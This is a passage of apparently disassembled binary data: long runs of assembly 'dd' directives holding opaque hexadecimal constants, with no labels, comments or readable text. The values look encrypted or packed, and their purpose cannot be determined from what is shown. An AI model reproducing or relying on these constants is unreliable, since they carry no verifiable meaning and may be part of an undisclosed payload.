		dd 0BFC5C70Bh, 0B963FACAh, 44290487h, 9F3A3363h, 7EE7DEF9h
		dd 0E7B18235h, 36AD9963h, 442C21EEh, 541A0463h,	0A39EDF06h
		dd 0E51EBEC6h, 0EBCAA89Eh, 0CBE18E8Fh, 125319EDh, 41303C60h
		dd 0E29EDF06h, 21C6FBAFh, 3CAC06C7h, 15F14F18h,	9C832733h
		dd 0D01B0219h, 87B68A67h, 0F21286DEh, 19E39FB5h, 93782967h
		dd 6B9EDEF9h, 9C9E6F84h, 22597D0Bh, 26F28B12h, 0E45D63Dh
		dd 0B70348E2h, 7F979165h, 0A8F16358h, 9F23BFC8h, 437EDEF9h
		dd 92A0829Bh, 0F58650E8h, 429EDF1Ch, 7DD0021Fh,	803DA8BBh
		dd 0DFF6D538h, 5F22E40Dh
		dd 8F8D7AD3h, 60B03F45h, 5C7B7285h, 189C4E27h, 1EA78A4Eh
		dd 5FBFB336h, 0FD1D2926h, 0B49EDF00h, 9C9E246Ah, 0D2C46F3Bh
		dd 0D4462081h, 32EFC9h,	43D7E4CBh, 3A854765h, 9906DF1Ch
		dd 449F259Dh, 9C832B2Fh, 6AAEBBF9h, 9C4FCAE9h, 0CED03625h
		dd 60CD8AAAh, 1C120377h, 44266D9Ah, 0F14B2463h,	9C9E2463h
		dd 9CB1F33Ah, 3162DEF9h, 0B70348E2h, 927F9165h,	9C9E6C80h
		dd 1320B5F5h, 78ECC54Eh, 0EDA45CA0h, 47BF5575h,	6E48C709h
		dd 18968473h, 44290485h, 1DE50463h, 168694D7h, 2B9FDF3Ah
		dd 72023321h, 8EAEDF06h, 95B6EFBCh, 0DA920A38h,	0F83ED49Dh
		dd 6D1A0835h, 11A42053h, 0BF104F25h, 23E33204h,	5A262A5Bh
		dd 7D5BBDB8h, 0F27E13D2h, 19FFD7B5h, 16152367h,	2B8CD839h
		dd 42056D8Ah, 1483DF06h, 0A96C5CF5h, 0D06C0BA9h, 7FFC988Bh
		dd 297B46CBh, 8F8E83CAh, 59B03F45h, 9C84B4C5h, 720209F9h
		dd 2BDCDF06h, 0E7E4752Fh, 0DBBF1AECh, 0EA8BDC10h, 35BB0B92h
		dd 442C21EEh, 884C0463h, 9C832710h, 9C845EE0h, 0F91B0CF9h
		dd 4C282FB1h, 4B70F4E0h, 8777DF06h, 0B49037C7h,	0B3BAE496h
		dd 8E4C94E0h, 9C9E241Eh, 9C9F923Ah, 18A9DEF9h, 1D4C9F4Eh
		dd 9C9EDDDEh, 9C8433E0h, 2FBB7BF9h, 7839E7F5h, 42C4F053h
		dd 8805C06h, 0CF9EDEF9h, 0AE7A1559h, 0AA0ABB32h, 0A553B39Ah
		dd 1DC0DFADh, 2B8CD85Ch, 99302BAEh, 3C9EDEF9h, 61321C7Ch
		dd 8B27F7FCh, 3508C766h, 3010E981h, 9C9F7391h, 95845EF9h
		dd 66EABEDFh, 4B4FA212h, 0F14BDF06h, 9C9E248Fh,	9C9BAB3Ah
		dd 0AE3BDEF9h, 2B4C968Ah, 193EFB21h, 6CEC4244h,	8E2216B8h
		dd 72012E5Ch, 0B0A2DF06h, 0AFA14F88h, 0C2455F18h, 1E129046h
		dd 3106EBBDh, 442C21EEh, 3A4C3363h, 4113DF1Ch, 0D70A412Bh
		dd 487811C4h, 0A97A778Dh, 37EE795Eh, 9C848F9Eh,	9DA657F9h
		dd 599EDEF9h, 9C9EDDE0h, 601EA9F9h, 3CB09B5Fh, 825DA581h
		dd 161555ABh, 2B8CD839h, 72AB1FE5h, 422DF06h, 0A1BB57Fh
		dd 9CCD9C3Eh, 6D0DE0CFh, 77067C17h, 0E2E3FFAFh,	0E7B8FB81h
		dd 0FC2755h, 2C3C8266h,	0A7EA8EFEh, 222FBE8Bh, 9F78B643h
		dd 0DED6A58Ah, 0CD47EA74h, 0DDDD928Ch, 188F442h, 3EF80695h
		dd 0D1764F77h, 0D2501C99h, 0D3A9EE41h, 0B0066ABFh, 0C6429412h
		dd 3C7AF07Bh, 0C70384A3h, 3EF89C62h, 2C1B4E8Ch,	4E476E4Bh
		dd 0F0FD0A42h, 4BACF28Bh, 6A177194h, 3EE37115h,	0D8E3BAA3h
		dd 529905BCh, 31F276ECh, 0A60E06BAh, 0A49A993Dh, 0DEF805ABh
		dd 3EFE7BBDh, 0DB6621A3h, 0FA38E622h, 0F19F1F34h, 1AA40280h
		dd 82E67195h, 7AF805A3h, 94BABDC6h, 85940226h, 0A7F9059Eh
		dd 3EE59BD0h, 776765A3h, 1815D188h, 72D40E28h, 0A3E675AEh
		dd 0F8F805A3h, 567B85CDh, 2B32BD3Dh, 0F9CB71Dh,	0B9998917h
		dd 0D871B145h, 7F0805BCh, 13949F38h, 0F7CC318Dh, 0F620A588h
		dd 6C8DAA34h, 0BC3FDF1Bh, 0A7EA087Ch, 8B7CC60Ah, 0A9F805A3h
		dd 382B48F1h, 400BA3C1h, 52228363h, 43704C7Ah, 130EE780h
		dd 13BF1C62h, 0D2745E10h, 564FBC27h, 3EF8B146h,	23C205A3h
		dd 0C7DDD41h, 564AA2C0h, 979A9B46h, 79F805A3h, 3EFA80D0h
		dd 0EF2C8CA3h, 0E9F805BCh, 0BCC1366Ch, 7BD93196h, 4EB19B83h
		dd 0BFF805A3h, 72F75A2Ch, 0B681D57Bh, 3C55DF63h, 0F5D6A59Fh
		dd 7B1EA445h, 80F805A3h, 6C004AC7h, 47196D43h, 0C2CE79DEh
		dd 3EF8FAFAh, 0BACF05A3h, 564FBC27h, 85953446h,	0A7F9059Eh
		dd 3EF8B18Bh, 0BD0505A3h, 78727F98h, 24947587h,	3EFD2E72h
		dd 0E7C3A183h, 667BF242h, 6BD6497Ah, 6300F3E2h,	79E3726Ah
		dd 57061317h, 0C9EA5A3h, 3EF806F0h, 3EFE78C8h, 0E30A88A3h
		dd 0CD40F2BAh, 1113939Dh, 0D3AF015Ch, 2A3CE90Dh, 0BDA73D73h
		dd 0A7EA087Ch, 607B9909h, 6BF805A3h, 9C44794Fh,	3CF40DDFh
		dd 651A9AF7h, 2C1A7F61h, 1A6C32F7h, 83495F60h, 2AA1B788h
		dd 3499AF7h, 2C1A314Bh,	3B619E97h, 0A2B15363h, 7E9ACB54h
		dd 65343A8Ch, 2C014A75h, 3CF721F7h, 651A9AF7h, 2C1A7F10h
		dd 6DEA71F7h, 2C014BC7h, 1141DFF7h, 0BB052B50h,	0FB4F9316h
		dd 0D00D486Bh, 0AED6B164h, 6739B1B9h, 2C36AE90h, 69129AF7h
		dd 28910CBh, 154B734Bh,	2C1A8951h, 74C932F7h, 7B71F9E2h
		dd 39FDD535h, 787AFBC6h, 2C1A7FB9h, 0D08E1AF7h,	1A6C9F55h
		dd 83495F60h, 2C1A9C88h, 82129AF7h, 33A837CCh, 0ABE3D148h
		dd 1B443571h, 6B6C9E76h, 2DF8305Dh, 3B1A9AF7h, 0FF499963h
		dd 2C1A31A8h, 0AA229F52h, 6739DB69h, 61F86F97h,	2CE62C55h
		dd 7D7A50B2h, 28910C8h,	5449734Bh, 2C0132F5h, 2C014BC2h
		dd 693E17F7h, 62051A73h, 4C701538h, 0ADD17396h,	87123793h
		dd 0BE6565B6h, 2C012EDBh, 0EE4AC8F7h, 167D6C35h, 0ACF9F9A1h
		dd 1A6C3640h, 83495F60h, 5362878Fh, 6C418361h, 78600794h
		dd 2C1A7135h, 0AB7A3AF7h, 0AFAF47F6h, 2C029EADh, 0D61A9AF7h
		dd 5622643Dh, 0FEF54F34h, 0BCFC2929h, 2C1A9B80h, 2C0121C2h
		dd 28E5F9F7h, 0D74D0796h, 0D185B9EFh, 0BFB832EFh, 0BCF1CB3Ch
		dd 0F39B8754h, 65355E43h, 2C0127C8h, 45FC3AF7h,	2C1A314Fh
		dd 2C1D0DC2h, 8F76FCF7h, 0CA96661Eh, 0F83C839h,	0AC75CFD0h
		dd 29B1F454h, 0FE343A93h, 5E6D3A48h, 7F744E0Ah,	0C5E703EBh
		dd 0B88C9AF7h, 225985F4h, 1585A7CCh, 8BF9FDD1h,	8C698E6h
		dd 2761069Eh, 33A837CDh, 7E9B3048h, 651A9AF7h, 2C1915C8h
		dd 2FF821F7h, 0D51A9AF7h, 3CF40DA7h, 651A9AF7h,	2C1A9B2Eh
		dd 0AA223FF7h, 6739C071h, 2C34E3C2h, 9C3574F7h,	0A8718127h
		dd 0A9AB4849h, 83089DB7h, 0A7692E0Dh, 431A9AF6h, 2C1A9B38h
		dd 0B7F26A82h, 7A6F114Eh, 4269C845h, 19B8DCB8h,	83495F60h
		dd 2C378688h, 274B9AF7h, 33A837CDh, 0A5B6D148h,	9CE73E7Ch
		dd 9E123E18h, 0AF9779EAh, 2EF40DADh, 0CC1A9AF7h, 65DA29FBh
		dd 327085BDh, 0E20519F7h, 881A9AEFh, 44684CB2h,	37CE878Ch
		dd 0F512069Eh, 2C1A31B2h, 571B86ACh, 5E04E31Eh,	0EE0757A7h
		dd 3D86C6B5h, 8A469AF7h, 8D42831Bh, 62A30306h, 0DC96D1F0h
		dd 0EF9D0A46h, 6349F366h, 0F70B9B24h, 50343AA8h, 6C41836Eh
		dd 78050794h, 431A9AF7h, 68C6878Eh, 33D9A9B2h, 14B5087h
		dd 4528CA57h, 94F701B9h, 2C1A31A8h, 0DDEA89FAh,	2C1A9BFFh
		dd 0E36DD046h, 70A6D106h, 0AA22488Dh, 6739DB41h, 2C34B790h
		dd 149F9AF7h, 341A9AF7h, 0A871AE76h, 17E29BFAh,	0BB592BA7h
		dd 29B1F347h, 0FE343A93h, 78670520h, 431A9AF7h,	2C1A9B92h
		dd 0FC95D898h, 2E508BC1h, 225CF1C4h, 0D1D0B21Fh, 8C6978Bh
		dd 0ABF7069Eh, 2C1A31B5h, 7E9AB832h, 0CC343A8Ch, 163829FBh
		dd 0DE7D1918h, 2C1A6A56h, 0C617247Dh, 7CAAA9CAh, 44A06771h
		dd 0A49A0DAAh, 0CC1A315Dh, 2C014CDDh, 0CBB53CF7h, 0FAE778CFh
		dd 0C36923F9h, 966569BBh, 9DD5D09h, 0A8B06FE3h,	80CEB1A6h
		dd 48999CC1h, 4522B325h, 0A359391Ch, 7596BB6Ah,	0DEDE643Eh
		dd 89C62855h, 561BDFA4h, 0C9B06FEDh, 0A8B06FDEh, 0D32E4358h
		dd 4757A505h, 0A444A69h, 0EECAAEE9h, 4C4FA8A4h,	0CED1271Fh
		dd 0BA074852h, 0D4B8F813h, 993E0FCAh, 0BAEF20E8h, 0A94D70A5h
		dd 43B14136h, 5BBE15DFh, 0DE463578h, 0A94D6455h, 0C59EB9AFh
		dd 0DAB07944h, 967E655Ch, 7E6139AAh, 1A253005h,	6F53D9C3h
		dd 89C8A8FEh, 0A89B25ADh, 31EFA8AFh, 0A84ED13Eh, 9640A8AFh
		dd 4B500FB7h, 0BF600B97h
		dd 0A9B9B3F9h, 17B527AFh, 0A444A69h, 9ACA12E9h,	224FA8AFh
		dd 219A5703h, 0A1297290h, 20925274h, 66E204FCh,	8A059A2Eh
		dd 45CFE26Bh, 0B999C885h, 6B3998ABh, 0B5B74555h, 1B3BFA21h
		dd 364091Ah, 8A716AC4h,	484FA8A4h, 0A8993AB8h, 1132A8AFh
		dd 99280B13h, 4056FE8h,	0A84FBAE6h, 0A36225F0h,	0CD04A8AFh
		dd 0A8B06FDEh, 56CFF652h, 0CB99C8F0h, 45C800EAh, 264FA8ACh
		dd 58B43469h, 0D3C1554Ch, 3AF6CE36h, 0A29C7D56h, 751F0EC2h
		dd 3A25473Bh, 3783C1A8h, 22ED34F0h, 257BD0Ah, 47AA0DDFh
		dd 6F53DA00h, 89C8A8FEh, 0A94CDF5Bh, 1F7681AFh,	9AA69B7Dh
		dd 0B0D46D25h, 7C1C7771h, 0D9203E6Fh, 0C2B895BFh, 0A84FA5FFh
		dd 152F0BADh, 8BF492EBh, 0D6AABB02h, 4D9066EBh,	0A94CDF4Fh
		dd 6F9987AFh, 57814E8Ch, 563B1A43h, 30F70910h, 38CF734Ch
		dd 7C9BB4ABh, 329E34F0h, 0A84FBA22h, 1D4805AFh,	41CE5867h
		dd 54E4C7B9h, 774FA8ACh, 0A94D62ABh, 15E4D5AFh,	0B780BC28h
		dd 48EB824Eh, 75B7933Eh, 0D532203Eh, 993E0FCAh,	0A2CAF4E8h
		dd 87F8A8AFh, 4302EB3Eh, 688CBE22h, 23EC318Ah, 7F4A4BF7h
		dd 434FA8ACh, 0A94D6871h, 922B09AFh, 5A11A8AFh,	0B8BB63E7h
		dd 0F6937BE5h, 0E6C87CE9h, 0CE38A37h, 0AA3076A6h, 1D08543Ch
		dd 5F122C72h, 3317AF03h, 0C7C04A3Dh, 4A9C94C9h,	6D8C15DDh
		dd 28465DAFh, 0AC104376h, 8BC62067h, 42D6ED93h,	0AD0A89D4h
		dd 0AF5A7632h, 503BE4C5h, 28F692EFh, 8CC5509Eh,	3A475A5Ch
		dd 0ACC6235Fh, 8B39EA13h, 0BF74182Fh, 0B7466629h, 0AC101748h
		dd 8B39EA20h, 0EE304AACh, 0C0EF6A78h, 6C4FA3A6h, 85925A57h
		dd 2B39EA35h, 8B1F2E4Bh, 2566235Ch, 52BF41A5h, 6C4C561Eh
		dd 29DDE4DAh, 26C6235Fh, 8B39BE9Ah, 84545A5Ch, 0C3C6235Ch
		dd 0AA39622Fh, 8CC46EA6h, 41E9BE5Ch, 0FECD6AFh,	1A0A3C5Bh
		dd 7148AF03h, 7CAFDC9Ah, 27318A1Bh, 0B8BA7392h,	0B91F5704h
		dd 2BC73F6Dh, 8FE82E15h, 273CA25Ch, 8BC63509h, 0B903805Ch
		dd 6C4C561Eh, 7D4E55DAh, 18C6235Ch, 562D7CA1h, 4D15DF15h
		dd 7987B4CCh, 559FA86h,	0D7C0F67Fh, 8C665356h, 8A80CE9Eh
		dd 0A05696ABh, 2610437Bh, 8CC54FE6h, 2145435Ch,	32E9F9A4h
		dd 1E08D2F9h, 4B0539D1h, 1E64AC79h, 26D6370Ah, 8CC4F4B5h
		dd 0CAB23F5Ch, 39895DDh, 0D1780487h, 1E804794h,	255C6B4h
		dd 15E9878Bh, 95DF324Bh, 8B39EA1Bh, 47B3DC03h, 0B922FDFFh
		dd 3019F32Ch, 287EE57Fh, 0ACC6235Fh, 8B39EA2Dh,	52D005F3h
		dd 0CF2BB520h, 0EDEC62ADh, 0D11593CDh, 0D04697ADh, 3E59BD30h
		dd 0EDCDC59Ah, 3E0AF91Ah, 8CC4E382h, 75A2845Ch,	33F235Ch
		dd 7044A4h, 7E233D4h, 0D3BFBA4Dh, 74593695h, 0AA8D235Ch
		dd 8B39EA13h, 4968577Ch, 6D8C15DDh, 8CC4E7A8h, 50E5225Ch
		dd 6A66078Dh, 10EA7482h, 75A3219Dh, 9B5D235Ch, 770F197Eh
		dd 6BCE23EFh, 7CAFDC9Ah, 8CC46F1Bh, 7A73235Ch, 0FF91BCC6h
		dd 15F63409h, 8B11304Bh, 2A38235Ch, 5A30C906h, 7F142E15h
		dd 0CDBA25Ch, 8B39EA23h, 8BC64403h, 2A97235Ch, 0EDCDC59Ah
		dd 241AF91Ah, 70C6235Fh, 9D811384h, 0C9360C42h,	83C0B8E7h
		dd 942FD70Ah, 89BBFB5Dh, 0EE102FB2h, 8B397338h,	86D42F03h
		dd 2566235Ch, 0A05696C8h, 2610437Bh, 8CC4ACD1h,	7D6D5A5Ch
		dd 2BC6235Ch, 2846D0CDh, 0FF104376h, 23411352h,	0D1C6235Fh
		dd 0E28C6926h, 899D00Dh, 62B35EBDh, 914E52B2h, 0B92E4E53h
		dd 3019ED70h, 8BC64402h, 0FA3E235Ch, 0EDCDC59Ah, 893E251Ah
		dd 0C3C09E3Dh, 6948B815h, 0ACC6235Ch, 8B39EA32h, 5C2E1951h
		dd 35678AF4h, 669458DAh, 76981B0Bh, 8ECE6F7Ch, 3EBC235Ch
		dd 0DA4F8FDEh, 5D8290F1h, 28B65757h, 0B7591892h, 7CB78A39h
		dd 514F9B1Bh, 6C41230Dh, 86C8A05Eh, 2343235Ch, 3FC6235Fh
		dd 0A1D30A4Fh, 0F1F51295h, 0E4CA0D39h, 394690ACh, 0CC4F82Bh
		dd 8BC6234Bh, 7ECB4503h, 0A88D235Ch, 8B39EA79h,	7B01353h
		dd 5A331A8Fh, 0F0B113ADh, 23472C3Eh, 2B101748h,	58BA8A26h
		dd 0CBB9330h, 4E489E53h, 9C394BD1h, 29ADAB51h, 3B32F1C6h
		dd 0D7A0469Ch, 147DE12Eh, 50D10288h, 0BE2D3860h, 0EBBF5CE3h
		dd 3358C62h, 4FC5678Eh,	3BCDA42Ah, 0C592FA9Ch, 3BCD5F7Fh
		dd 0AC7BB59Ch, 0C3E969CEh, 2AC777D8h, 719FDA2Eh, 1C7A1B1Eh
		dd 504C73C1h, 5BE7D585h, 661528CEh, 9FCF1946h, 551A0C4Dh
		dd 2D1D0DF2h, 3BCDEC51h, 0DB63F8EFh, 674C5F6Fh,	43E619A3h
		dd 67E1C188h, 54694168h, 3B328093h, 1B07C69Ch, 0D84EDC1Ch
		dd 1DF73A0Ch, 0EB09E88h, 0A3CDB59Ch, 46A7F4B7h,	0ACBED95Ah
		dd 5C1A12A6h, 3CA93FCEh, 6494B59Ch, 97E110EDh, 84FBE2A2h
		dd 716A0E9Dh, 1C7A1B1Eh, 3BE85F92h, 1999B59Ch, 0B5BF2D6h
		dd 5AB58C51h, 0C6CDB59Ch, 0E5F5070Dh, 23016DC3h, 0F97D061Dh
		dd 188AE01Dh, 99C405A7h, 3B32E2A4h, 0E425B59Ch,	8FC03036h
		dd 446A9E99h, 3BE560E7h, 53B0B59Ch, 0AFCDB59Ch,	6352F99Eh
		dd 0C152B4FDh, 3C152839h, 6D21D7F6h, 0D0326C9Fh, 3BCDEC2Ch
		dd 0DECAC27Ch, 0C1D5E00Fh, 58ED054Bh, 3EE33669h, 0EB0B59Ch
		dd 1CCDB59Ch, 0AE525639h, 41612E65h, 10E7D568h,	25DFD460h
		dd 5B76E431h, 59D5CD2Eh, 2DAD19C1h, 3BCDEC51h, 964F7AD5h
		dd 0D383FE6h, 1CE5B59Ch, 7836B8C0h, 9C72F60Ah, 98432698h
		dd 0CCDD2B86h, 0BF48A5BFh, 0B438C32h, 3B338151h, 327CB59Ch
		dd 0A3D3EF39h, 383C35A5h, 24AEDA9Dh, 0EA8E83Dh,	92661D00h
		dd 4D05A6C7h, 0A24494CAh, 0ACA13269h, 0D1A19B61h, 0CB14FF69h
		dd 52A13269h, 6CEDF6F7h, 0D37D67B1h, 60433269h,	7DD64CCh
		dd 0FA1555F1h, 506BF81Ch, 0F32F04A8h, 0AA24431Eh, 0AA13269h
		dd 44972237h, 0F82C5A85h, 0BDC80303h, 0E5C7A0A7h, 6621C85Ah
		dd 4037C389h, 400321D7h, 4D0586E5h, 0E2775007h,	88FDF8ACh
		dd 0F32A33E3h, 3B7B75C9h, 265CC758h, 0B36CAFC9h, 0AC37BBF1h
		dd 0A38C0623h, 17B53269h, 0A1601DF8h, 0CE092Bh,	0F1F0B6BCh
		dd 4EAF250Fh, 4F4456CAh, 0A641E9E2h, 0D0204C31h, 0E89B13E5h
		dd 0D19A27CEh, 9D243269h, 3EA13269h, 5A5E6698h,	0FF08A37Ah
		dd 424B4D99h, 83802A7Dh, 4E56C0A7h, 0E2775007h,	0A92001ACh
		dd 32A13269h, 0D1A132EDh, 55C95A52h, 0D655461Bh, 1D96B680h
		dd 88FDED8Fh, 0F32A33E3h, 0D1A6FF92h, 351BFA69h, 0DDF26CD5h
		dd 0B15EEB42h, 6146E630h, 84312E56h, 0D1A1F0DDh, 51F293F8h
		dd 4F447C2Eh, 0A64170B6h, 0A0EFAFC9h, 45D123Bh,	759526D0h
		dd 2CE4A7E5h, 0D1A163F2h, 0DA3B3096h, 0CA8283E4h, 8717CC8Bh
		dd 31A9724Dh, 0AE106F04h, 0D1A6FF3Bh, 368BC069h, 40BE805Ch
		dd 0C3AAD00Dh, 0B75032D7h, 329B13CCh, 0D1A131B6h, 2A0B944Eh
		dd 4856EB80h, 1799CB47h, 21805114h, 88FDBFDEh, 0F32A33E3h
		dd 8431DB42h, 0D1A132D8h, 671AC92Eh, 9EEF7375h,	364F435Fh
		dd 470F1981h, 20155848h, 0AC9B12B9h, 0D1A6FF2Ch, 0CC2B5D69h
		dd 84393269h, 855B5CCFh, 7595269Dh, 3E5BA7E5h, 0D1A600E9h
		dd 2C4EED69h, 2BF48B15h, 0D1A132DBh, 838F57A0h,	84E1E49Fh
		dd 0A05EC776h, 0DB28BEFBh, 0E27750FEh, 0CA8350ACh, 22935389h
		dd 8828DA81h, 0F32A33E3h, 0C848F7C9h, 0D1A1F0DDh, 0C12CB5DEh
		dd 4672A13h, 947AC28Dh,	46BEFDAh, 0D4B71C5Bh, 9E06A769h
		dd 0D1A13232h, 9416BC69h, 0D015AD08h, 349B13E5h, 0D1A114CEh
		dd 9D103269h, 0D1A1D864h
		dd 0AB4F1269h, 7B1B757Dh, 99A94989h, 9EAC63BBh,	0D1A60761h
		dd 20E31269h, 0D1A1F0C7h, 4E010FC9h, 0E2775007h, 0CCCE67ACh
		dd 0FA9D3269h, 33FF33FBh, 0EEDFBE96h, 2B3DA7FDh, 9F207D34h
		dd 329B13D0h, 0D1A132E4h, 0AEE3DD86h, 39E44BA9h, 7307C0CEh
		dd 7C3D1E61h, 0A6EDD878h, 56F75C9h, 0B3819A54h,	1DE3C28Dh
		dd 0D1A131B2h, 0D1A6F992h, 0DB1F1369h, 6B4F7DD6h, 8D5DE8D6h
		dd 0AC8AFB6Dh, 0CC25B27Dh, 0AB243269h, 79A13269h, 8E900723h
		dd 0C09FB9E8h, 0E68775A3h, 556FE27h, 4BB5759h, 0D8BB1C5Bh
		dd 1EE3A769h, 0D1A1F016h, 0D1BC7DE4h, 90F43269h, 728D9D2Ch
		dd 0AE1049ACh, 69CA5943h, 0D31C3211h, 2D4B53B2h, 0D1A6F669h
		dd 0B2719269h, 0EA52FB51h, 0A0A18499h, 803E442Bh, 0F3CED1F3h
		dd 0D1A60892h, 0ADFE6369h, 322F7D95h, 38A572DEh, 92661C6Dh
		dd 5AE3A6C7h, 0D1A6FA87h, 593F1C9h, 0E3CE3A2Bh,	24E3112Bh
		dd 0D1A1F0C5h, 0D1A114E4h, 4E6D3269h, 4F44F3CAh, 0A641E9D2h
		dd 0CD485AC9h, 364BFFDEh, 0D015AD11h, 3C9B13E5h, 894EEA6Ah
		dd 0C06D734Ah, 794D158Dh, 0A629A7E5h, 0BFA13269h, 75F62DC6h
		dd 88284B34h, 0F32A33E3h, 0D1A121E4h, 0C06D3269h, 57AC28Dh
		dd 0B9CCF143h, 4F491147h, 0A641E366h, 59981245h, 0DEC1BFEh
		dd 651C471Ch, 728D9D2Ch, 25CE41ACh, 0D1A132CCh,	0D1A6FB92h
		dd 0C2CBF669h, 3A9BC4AAh, 311871C1h, 791850E7h,	0A65AD835h
		dd 42CB2AE2h, 0DC29BB74h, 74A13269h, 0D243E8B4h, 0B466DD75h
		dd 0F980E6A6h, 0B4286DFDh, 794D1574h, 9F29A7E5h, 9EA13269h
		dd 8DF2FE0Dh, 10931472h, 0E8472B6Bh, 0E2CFF628h, 66DA50ACh
		dd 0B8313808h, 0D86F1C5Bh, 51E3A769h, 0D1A132DFh, 0CCCE27E4h
		dd 0A9243269h, 0F7A13269h, 167C76DEh, 757C9A76h, 1DD881ADh
		dd 0D4A979D7h, 30DF127Dh, 0D1A60269h, 0DDE61069h, 0B04C7681h
		dd 0FD11C6BEh, 0C9C70F08h, 6501FDAEh, 728D9D2Ch, 50149ACh
		dd 0A9EC5743h, 554B081Ch, 0DF4E0E25h, 0AE0F4677h, 0BFE1442Eh
		dd 0B7503823h, 0B19B13CCh, 0D1A1A1E6h, 0E937A469h, 555871Bh
		dd 0ECB895EBh, 4C42C044h, 2001FA62h, 0E2CFF628h, 0CCE201ACh
		dd 55A13269h, 4BF9C274h, 6CED5AF7h, 8878F8B1h, 0F32F04A8h
		dd 0CC2554ECh, 0F5363269h, 0AA205AC0h, 79F77940h, 6810435Fh
		dd 18A1B6EBh, 28A9D96Eh, 52175CC8h, 794D158Dh, 0A929A7E5h
		dd 2EA13269h, 0F1757586h, 7EACA3D0h, 16D00E56h,	0C4183659h
		dd 9F207D37h, 569B13D0h, 0AA29C274h, 0E4A13269h, 26EDB8A9h
		dd 6351A077h, 25E56628h, 7261A794h, 4F44E0E8h, 0A641E35Ah
		dd 0D0204C45h, 3C9B13E5h, 3CA2EA47h, 4D05AD59h,	0E2775007h
		dd 88FDE4ACh, 0F32A33E3h, 0DBC976E4h, 5013269h,	497A16EBh
		dd 9B530E0Eh, 0D19ACAE0h, 0FBCABC69h, 7266EC71h, 4F44A3F9h
		dd 0A641E9CAh, 0DBC9A8C9h, 0BEC23269h, 0B2C03590h, 4F98F5B4h
		dd 2BCE5878h, 0D1A132E1h, 0D1A19441h, 0A1468869h, 0B7EA75CEh
		dd 7BA81DF5h, 5AD15F0Ah, 88780E0Ah, 0F32F04A8h,	0DCCE1154h
		dd 8DA13269h, 479D7861h, 4DA33ABFh, 0D4B2DD68h,	0FCEB1939h
		dd 317D1622h, 0D01B08F9h, 3A13269h, 7CAB6243h, 1F541B27h
		dd 4D05743Bh, 0E2775007h, 0CC2B67ACh, 0AED83269h, 8C09256Ah
		dd 92661C64h, 26E3A6C7h, 0D1A6FA84h, 534AA0C9h,	0BEF4846Fh
		dd 9B530F13h, 0D1BC27DAh, 4BF43269h, 7198A2F7h,	8878F8B1h
		dd 0F32F04A8h, 9D6EFE54h, 32A13269h, 0D1A132DEh, 712D7195h
		dd 0F07D98FCh, 0E3A9A989h, 8431EE3Fh, 0D1A132DAh, 7CFFEB33h
		dd 0D31456Dh, 2555694h,	4ECECCFCh, 0E2775007h, 9FFD01ACh
		dd 0ACA13269h, 0D1A19B61h, 0CB1BFF69h, 1EA13269h, 0E2CFF628h
		dd 9B53F7ACh, 0D1A267BBh, 0B1CB3269h, 8979374Dh, 2A6A28Fh
		dd 78458B75h, 3D7E4FEDh, 4F490E1Ah, 0A6417002h,	0AB960AC9h
		dd 0A9FDFE6Dh, 32A13269h, 0D1A132EDh, 2FE21404h, 0C21E5859h
		dd 28E30AA2h, 0A75C0FBFh, 0D1A60892h, 5E61A369h, 760F3CA4h
		dd 0F5E1C74Ch, 0A3F6FA7Fh, 4F981269h, 79961275h, 0ACD26CBDh
		dd 0A38C0623h, 0BF7B3269h, 0B3DC886Ch, 85515FD1h, 7C4AEC8h
		dd 0E920ED6Bh, 0BF1465Bh, 0BE57787h, 0FE4DFA32h, 0A7A477FCh
		dd 1157A520h, 0CB766852h, 0F21EEDBAh, 0AF60F32h, 0EE20611Ah
		dd 0C43987BAh, 2BD1D8E9h, 5B4A3352h, 1B9172DAh,	0BE7C242Dh
		dd 3A751D51h, 0BF3B439h, 0C2620F32h, 3C49D620h,	8F7FF961h
		dd 84BDB22h, 0BE9B439h,	72790F32h, 0BF65659h, 106E8D7h
		dd 0BF1420Ch, 0C8712F32h, 0C8777911h, 11645D8h,	0BF13FCEh
		dd 19A56232h, 20C60F32h, 0E50E9217h, 41CA8BF2h,	0F2E5DD91h
		dd 0BF13CE7h, 0BFC6232h, 0AA740F32h, 949E78DFh,	0D4569F5Ah
		dd 0C5DDD2CCh, 0AC65604h, 119E5B32h, 6CF14792h,	0BF6564Eh
		dd 0D981F7B4h, 41E3AD9h, 0D2F60F32h, 83B0B7D1h,	4B6BB0ACh
		dd 3643854Ch, 262F0B0Ch, 0F2F1E242h, 0BF12D93h,	3B1E2F32h
		dd 9FF60F32h, 175CD4DBh, 3779903Bh, 0FC1DE856h,	75C7A01Fh
		dd 9113F91Eh, 0ADDE8EB0h, 0B6773F61h, 0F2F6564Fh, 0BF680E5h
		dd 0BF06232h, 0B6A60F32h, 6B23B184h, 0B9855E3Fh, 3A18D23Eh
		dd 0A7C5E158h, 0E2D2A318h, 3AA40C36h, 0E207BCADh, 0EE170B73h
		dd 9F9FD6FFh, 819225E7h, 0F5831B80h, 0C1DA71FAh, 4F774724h
		dd 0C2D8C975h, 0A87FABB3h, 2F0713CAh, 0AB0713CEh, 23A3DC9Ah
		dd 0A8CDB3A1h, 3AFA787Ah, 0E2070EAEh, 3377DC21h, 8971C54Ah
		dd 8DF132D9h, 98AAD293h, 0E204F508h, 0DA9CDC9Ah, 0A507BC9Ah
		dd 0B25A1F32h, 6D927F9Dh, 0F0F43C14h, 0B976CBD8h, 351DD44h
		dd 0E204F430h, 59147487h, 0D6898E8Eh, 0F0136784h, 48D74720h
		dd 98A4C99Eh, 0E207D022h, 0E2FD269Ah, 24A7F4FDh, 0D3E8D7B8h
		dd 0E0D3EC69h, 8907BC9Ah, 0E207D2F3h, 24A7DC9Ah, 4581FF20h
		dd 0E2051A69h, 78ABC9Ah, 4ED313EFh, 0D769C10Ch,	57B0C664h
		dd 0A1FF8BC4h, 0E29C5BA4h, 98A7BC9Ah, 0A39C09B9h, 0D207BC9Ah
		dd 955BE209h, 0F5E7B3A0h, 0F4E2A317h, 0D1800ED8h, 0E204ED4Fh
		dd 8B83A79Ah, 0B2CC34D9h, 7905FA3Ch, 85CE7A86h,	351DD6Eh
		dd 0E204F445h, 41FCCD9Dh, 8431E1ACh, 2DCE7A57h,	0C251DD99h
		dd 0C9AA67B1h, 0E207BCB0h, 0E884639Ah, 4A0AC77Bh, 0B0C76469h
		dd 0C15F7886h, 127AAED3h, 0B01EE9D8h, 0A016BC9Ah, 0FEC96E2Ah
		dd 5D66708Ah, 0C244A61Dh, 890403F2h, 0A832C006h, 0B0CB0F9Ah
		dd 0DC90BC9Ah, 22356BD4h, 856BD49Bh, 152FA03Fh,	9E8A7627h
